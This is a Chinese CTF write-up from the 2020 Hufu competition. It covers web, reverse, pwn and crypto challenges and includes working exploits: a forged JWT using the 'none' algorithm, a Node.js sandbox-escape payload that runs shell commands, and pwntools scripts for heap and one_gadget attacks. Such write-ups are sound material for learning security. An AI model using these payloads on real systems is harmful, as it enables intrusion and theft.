2020数字中国创新大赛虎符网络安全赛道 Writeup by X1cT34m-小绿草信息安全实验室

WEB

easy_login

上来首先注册账户登录,发现提示静态目录的配置在根目录

于是源码泄露拿到app.js
之后主要逻辑在controllers/api.js

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

只要jwt能伪造就可以作为admin登录并拿到flag
但是校验怎么过没找到姿势
网上搜到文章
https://github.com/justcatthefish/ctf/tree/master/2019-04-25-Angstrom2019/web#cookie-cutter
基本跟Angstorm2019这题一样。那么就可以将jwt中加密算法部分置为空。但是发现验证逻辑中跟原题差别的一处在!(sid < global.secrets.length && sid >= 0)
将sid置为"01"字符串,就可以通过弱类型并使得secrets[sid]为undefined,通过jwt校验。
payload:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.ewogICJzZWNyZXRpZCI6ICIrMSIsCiAgInVzZXJuYW1lIjogImFkbWluIiwKICAicGFzc3dvcmQiOiAiMTIzIgp9.

登录进去直接访问/api/flag即可

just_escape

node沙盒逃逸。比赛时没做出来。几小时后buu上成了......估计环境问题,这里直接放个payload吧

使用\u0065val代替eval
使用脚本转换成charcode

try { require('child_process').execSync("cat /flag").toString() } catch(e){} 

    let buffer = {
        hexSlice: () => "",
        magic: {
            get [Symbol.for("nodejs.util.inspect.custom")](){
                throw f => f.constructor("return process")();
            }
        }
    };
    try{
        Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
    }catch(e){
        e(()=>0).mainModule.require('child_process').execSync("cat /flag").toString() 
    }

然后getflag.

re

game

flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}
len = 39
flag[6:30:3] = L5xiV5PK
flag[28:34] = l541pN
flag[-2:33:-1]*5后和flag[7:27]进行运算
map(lambda x: x[0]^x[1],zip(b,f[7:27]))

PWN

MarksMan

一开始是想写got来getshell的,但是发现并没有给got表。
送了个libc的地址,能操控的那就只剩下结构体部分。
考虑3字节来getshell,因为3字节跳不会main,但可以跳one_gadget。
one_gadget被过滤,但是规则设置的很容易绕,最后一位可以用-5来滑行,多执行一条无意义汇编绕,倒数第二位。。。。
emmmmmm,开了pie跟aslr,第二位就1/16被过滤成功
最后写exit的结构体去getshell。
不过由于偏移差距过大,大概还是有个1/2左右的概率。

from pwn import *
r=remote('39.97.210.182',10055)
#r=process('./chall')
r.recvuntil('I placed the target near: 0x')
leak=int(r.recv(12),16)
print hex(leak)
libc=ELF('./libc.so.6')
libc_base=leak-libc.symbols['puts']
target=libc_base+libc.symbols['exit']
print hex(libc_base)
def gd():
    gdb.attach(r)
    pause()
one=libc_base+0x10a38c
f=one&0xff
s=one&0xff00
t=one&0xff0000
f=f-5
s=s>>8
t=t>>16
#0x5f60e0
r.recvuntil('shoot!shoot!')
r.sendline(str(libc_base+0x81df60))
print hex(libc_base+0x81df60)
r.recvuntil('biang!')
r.sendline(chr(f))
r.recvuntil('biang!')
r.sendline(chr(s))
r.recvuntil('biang!')
r.sendline(chr(t))
r.interactive()

值得一提的是,一开始我觉得偏移差距过大得改7位,所以想改前面的6位,放最后一个字节不动来滑行shellcode,然而eax指向了不可写区域。。。

SecureBox

常见的堆题,漏洞在于add时候检测上线时用了unsiged int,但是定义是 unsigned __int64,有一手整数溢出,之后在enc函数中没检测heap的指针是否为空,从而导致了任意地址写。
最后调下栈来执行onegadget。

#r=process('./chall')
r=remote('39.97.210.182',19806)
def menu(choice):
    r.sendlineafter('5.Exit',str(choice))

key=[]
def add(size):
    menu(1)
    r.sendlineafter('Size: ',str(size))

def free(idx):
    menu(2)
    r.sendlineafter('x ID: ',str(idx))

def enc(idx,off,content):
    menu(3)
    r.sendlineafter(' ID: ',str(idx))
    r.sendlineafter('fset of msg: ',str(off))
    r.sendlineafter('msg: ','8')
    r.sendafter('Msg: ',content)

def leak(idx):
    menu(4)
    r.sendlineafter('Box ID: ',str(idx))
    r.sendlineafter(' of msg:','0')
    r.sendlineafter('Len of msg: ','8')

def gd():
    gdb.attach(r)
    pause()

key1=[]
libc=ELF('./libc.so.6')
add(0x410)#0
add(0x410)#1
free(0)
add(0x410)#0
leak(0)
#gd()
r.recvuntil('Msg')
r.recvuntil('\n')
lleak=u64(r.recv(6).ljust(8,'\x00'))
print hex(lleak)
llbase=lleak-0x1ECBE0+0x2000
lmhook=llbase+libc.symbols['__malloc_hook']
print hex(llbase)
print hex(lmhook)
add(0x7fffffff00000ff0)#2
r.recvuntil('Key:')
r.recvuntil('\n')
for i in range(16):
    key.append(int(r.recv(2),16))
    r.recv(1)
#py=p64(0x10afa9+llbase)+p64(llbase+libc.symbols['realloc']+6)
py=p64(libc.symbols['system']+llbase)
py=p64(0x10afa9+llbase)
re=p64(llbase+libc.symbols['realloc']+8)
tr=''
t=''
for i in range(len(py)):
    tr+=chr(ord(py[i])^key[i])

for i in range(len(re)):
    t+=chr(ord(re[i])^key[i])
enc(2,lmhook-8,tr)
enc(2,lmhook,t)
r.interactive()

count

arm架构下的pwn。。。不过是签到的难度。。。
//头一次看见做出100+的pwn题
模拟一波rand的值然后同步跑200次,最后溢出下getshell

from pwn import *
from ctypes import *
import sys
r = remote('39.97.210.182',40285)
elf = cdll.LoadLibrary('libc.so.6')
for i in range(200):
    elf.srand(elf.time(0))
    r_1 = elf.rand()%100
    r_2 = elf.rand()%100
    r_3 = elf.rand()%100
    r_4 = elf.rand()%100
    p.recvuntil('input answer:')
    p.sendline(str(r_1*r_2+r_3+r_4))
sleep(0.1)
r.sendline(p32(0x12235612)*27)
r.interactive()

Crypto

GM

makekey函数中,有

$$
(q^2 x)^\frac{p-1}{2} \equiv q^{p-1} x^\frac{p-1}{2} \equiv (\frac{x}{p})\pmod{p} \
(p^2 x)^\frac{q-1}{2} \equiv p^{q-1} x^\frac{q-1}{2} \equiv (\frac{x}{q})\pmod{q}
$$

其中,$(\frac{x}{p})\pmod{p}$表示$x$在$F_p$下的勒让德符号。

要满足

$$
(q^2 x)^\frac{p-1}{2} + (p^2 x)^\frac{q-1}{2} = n - phi - 1 = pq - (pq - p - q + 1) - 1 = (p-1) + (q-1)
$$

只有
$$
(q^2 x)^\frac{p-1}{2} \equiv p-1 \equiv -1 \pmod{p} \
(p^2 x)^\frac{q-1}{2} \equiv q-1 \equiv -1 \pmod{q}
$$

也就是说$x$是在$F_p, F_q$下的二次非剩余(Quadratic Nonresidue)。


加密过程则是对msg的每一bit进行加密:
$$
c \equiv x^{br || bi} \cdot r^2 \pmod{N}
$$
br是一个随机数$r$的二进制表示,bimsg的某一bit(0或1)。

也就相当于
$$
c \equiv x^{2r + bi} \cdot r^2 \pmod{N}
$$

我们可以来考察这个$c$在$F_p, F_q$下的勒让德符号:
$$
(\frac{c}{p}) \equiv (\frac{x^{2r} x^{bi} r^2 }{p}) \equiv (\frac{x^r}{p})^2 (\frac{x^{bi}}{p}) (\frac{r}{p})^2 \equiv (\frac{x^{bi}}{p}) \pmod{p} \
(\frac{c}{q}) \equiv (\frac{x^{2r} x^{bi} r^2 }{q}) \equiv (\frac{x^r}{q})^2 (\frac{x^{bi}}{q}) (\frac{r}{q})^2 \equiv (\frac{x^{bi}}{q}) \pmod{q}
$$

msg的这一位bi是0的话,两个勒让德符号肯定都是1;如果这一位bi是1的话,勒让德符号肯定都是-1(p-1或q-1)。

因此可以通过勒让德符号推算出bi,进而得到msg


给了nphi,直接利用sagemath的解方程功能就可以拿到p, q

# sage 8.9
N   = 9433451661749413225919414595243321311762902037908850954799703396083863718641136503053215995576558003171249192969972864840795298784730553210417983714593764557582927434784915177639731998310891168685999240937407871771369971713515313634198744616074610866924094854671900334810353127446778607137157751925680243990905528141072864168544519279897224494849206184262202130305820187569148057247731243651084258194009459936702909655448969693589800987266378249891157940262898554047247605049549997783511107373248462587318323152524969684724690316918761387154882496367769626921299091688377118938693074486325995308403232228282839975697
phi = 9433451661749413225919414595243321311762902037908850954799703396083863718641136503053215995576558003171249192969972864840795298784730553210417983714593764557582927434784915177639731998310891168685999240937407871771369971713515313634198744616074610866924094854671900334810353127446778607137157751925680243990711180904598841255660443214091848674376245163953774717113246203928244509033734184913005865837620134831142880711832256634797590773413831659733615722574830257496801417760337073484838170554497953033487131634973371143357507027731899402777169516770264218656483487045393156894832885628843858316679793205572348688820

var("p q")
print solve([p*q == N, p*q - p - q + 1 == phi], p, q)
# [
# [p == 94130524494940356506875940901901506872984699033610928814269310978003376307730580667234209640309443564560267414630644861712331559440658853201804556781784493376284446426393074882942957446869925558422146677774085449915333876201669456003375126689843738090285370245240893337253184644114745083294361228182569510971, q == 100216711979082556377200124903474313599976321274816484378304672662900171906266478070844182716079881540999761528986068197079878654411887736955737660906283803174161740862819849415729979371880583995409044839777513091451849412985192528374337852907661670174530234397743068706607004213367391908429077794527921775907],
# [p == 100216711979082556377200124903474313599976321274816484378304672662900171906266478070844182716079881540999761528986068197079878654411887736955737660906283803174161740862819849415729979371880583995409044839777513091451849412985192528374337852907661670174530234397743068706607004213367391908429077794527921775907, q == 94130524494940356506875940901901506872984699033610928814269310978003376307730580667234209640309443564560267414630644861712331559440658853201804556781784493376284446426393074882942957446869925558422146677774085449915333876201669456003375126689843738090285370245240893337253184644114745083294361228182569510971]
# ]

可以直接求出p,q。

接下来只需要判断每一个c的勒让德符号(欧拉判别法)就可以知道msg的那一位是0还是1了。

# python3
from Crypto.Util.number import long_to_bytes

p = ...
q = ...

def legendre(a, p):
    return pow(a, (p-1)//2, p)

ciphers = open("output", "r").readlines()[2]
ciphers = [int(c)  for c in ciphers[1:-3].replace("L", "").split(", ")]

msg = ""
for c in ciphers:
    lp = legendre(c, p)
    lq = legendre(c, q)
    if lp == 1 and lq == 1:
        msg += "0"
    else:
        msg += "1"

print(long_to_bytes(int(msg, 2)))
# flag{bd4f1790-f4a2-4904-b4d2-8db8b24fd864}

pell

这个proof of work,很眼熟啊,感觉是杭电的师傅出的题。


在"A Friendly Introduction to Number Theory"的第32章有讲过这个pell equation

2020数字中国创新大赛虎符网络安全赛道 Writeup by X1cT34m-小绿草信息安全实验室

意思就是说,如果你找到了这个方程的一个最小(正整数)解,那么你就可以通过一个类似于通项公式的方式递推得到所有的解。

证明的话,嘿嘿嘿,当初我看的时候就没怎么看得懂,似乎是用了一个非常高超的数学证明手法:费马的无穷递降法(Fermat's method of descent)。。。数论还是很有意思的啊。

但是好在有一个online website能够帮我们解决这种二次的丢番图方程(Diophantine equations): https://www.alpertron.com.ar/QUAD.HTM (这个网站上面的因数分解功能也很给力,基本280bit以下的都能通过ECM或者Quadratic Sieve在短时间内分解出来)。

2020数字中国创新大赛虎符网络安全赛道 Writeup by X1cT34m-小绿草信息安全实验室

这一题中的方程形式是
$$
x^2 - a y^2 = b
$$

其中a, b的取值如下:

a = random.randint(10,50)
b = random.randint(1,2)

一共就只有41*2 == 82种可能,但是由于pell equations是在有些情况下是没有解的(b = 2的时候经常会没解),在某些情况下最小解会挺大的,所以服务器给出某一组a, b的时候是有可能无解的。。。

wiki上就给出了在b = 1的时候,最小解的情况,但没有给出递推公式(也可以自己推算一下)。

2020数字中国创新大赛虎符网络安全赛道 Writeup by X1cT34m-小绿草信息安全实验室

这个神奇的网站上是有递推公式的,例如a = 24, b = 1的时候,我们可以得到如下结果:

2020数字中国创新大赛虎符网络安全赛道 Writeup by X1cT34m-小绿草信息安全实验室

我们可以从x = 1, y = 0这个解(显然这是MARKDOWN_HASHabc787a98d96161f2888fa627f87d872MARKDOWNHASH时都有的一个trivial solution)开始,然后通过
$$
\begin{aligned}
x
{n+1} &= 5 ⁢x_n + 24 ⁢yn \
y
{n+1} &= x_n + 5 ⁢y_n
\end{aligned}
$$
这个递推公式求出后面的所有解。

这一题,只需要给服务器发送150个解就可以了。

但由于是需要nc远程交互的,而且我也没怎么找到那个网站的api,所以就先预先算好一些比较小一点的递归公式,然后当服务器给出的参数与本地相符时,就进行交互,否则,断开重连。

import re
from hashlib import sha256
from itertools import product
import time
from pwn import *

context.log_level = "debug"
s = string.ascii_letters + string.digits
while True:
    r = remote('39.97.210.182', 61235)

    rec = r.recvline().decode()

    suffix = re.findall(r'\(XXXX\+(.*?)\)', rec)[0]
    digest = re.findall(r'== (.*?)\n', rec)[0]
    print(f"suffix: {suffix} \ndigest: {digest}")

    print('Calculating hash...')
    for i in product(s, repeat=4):
        prefix = ''.join(i)
        guess = prefix + suffix
        if sha256(guess.encode()).hexdigest() == digest:
            print(guess)
            break
    r.sendafter(b'Give me XXXX:', prefix.encode())

    rec = r.recvlines(numlines=2)[1].decode()
    a = int(re.findall(r'a = ([0-9].*?),', rec)[0])
    b = int(re.findall(r'b = ([0-9].*?)', rec)[0])

    print(a, b)
    if a == 35 and b == 1:
        x, y = 1, 0
        for _ in range(150):
            x, y = 6*x + 35*y, x + 6*y
            r.sendline(str(abs(x)).encode())
            time.sleep(0.3)
            r.sendline(str(abs(y)).encode())
            time.sleep(0.3)

    elif a == 30 and b == 1:
        x, y = 1, 0
        for _ in range(150):
            x, y = 11*x + 60*y, 2*x + 11*y
            r.sendline(str(abs(x)).encode())
            time.sleep(0.3)
            r.sendline(str(abs(y)).encode())
            time.sleep(0.3)

    elif a == 24 and b == 1:
        x, y = 1, 0
        for _ in range(150):
            x, y = 5*x + 24*y, 1*x + 5*y
            r.sendline(str(abs(x)).encode())
            time.sleep(0.3)
            r.sendline(str(abs(y)).encode())
            time.sleep(0.3)

    elif a == 20 and b == 1:
        x, y = 1, 0
        for _ in range(150):
            x, y = 9*x + 40*y, 2*x + 9*y
            r.sendline(str(abs(x)).encode())
            time.sleep(0.3)
            r.sendline(str(abs(y)).encode())
            time.sleep(0.3)

    elif a == 15 and b == 1:
        x, y = 1, 0
        for _ in range(150):
            x, y = 4*x + 15*y, 1*x + 4*y
            r.sendline(str(abs(x)).encode())
            time.sleep(0.3)
            r.sendline(str(abs(y)).encode())
            time.sleep(0.3)

    else:
        r.close()
        continue
    r.interactive()

sleep(0.3)的原因是,我先在本地测试的时候,发现如果不sleep的话,可能会有客户端发送过快,导致多条内容到了服务端后会变成一条,然后int解析不了。。

invalid literal for int() with base 10: '47525\n9701\n'

最后开了n个终端在跑,跑出来如下:

2020数字中国创新大赛虎符网络安全赛道 Writeup by X1cT34m-小绿草信息安全实验室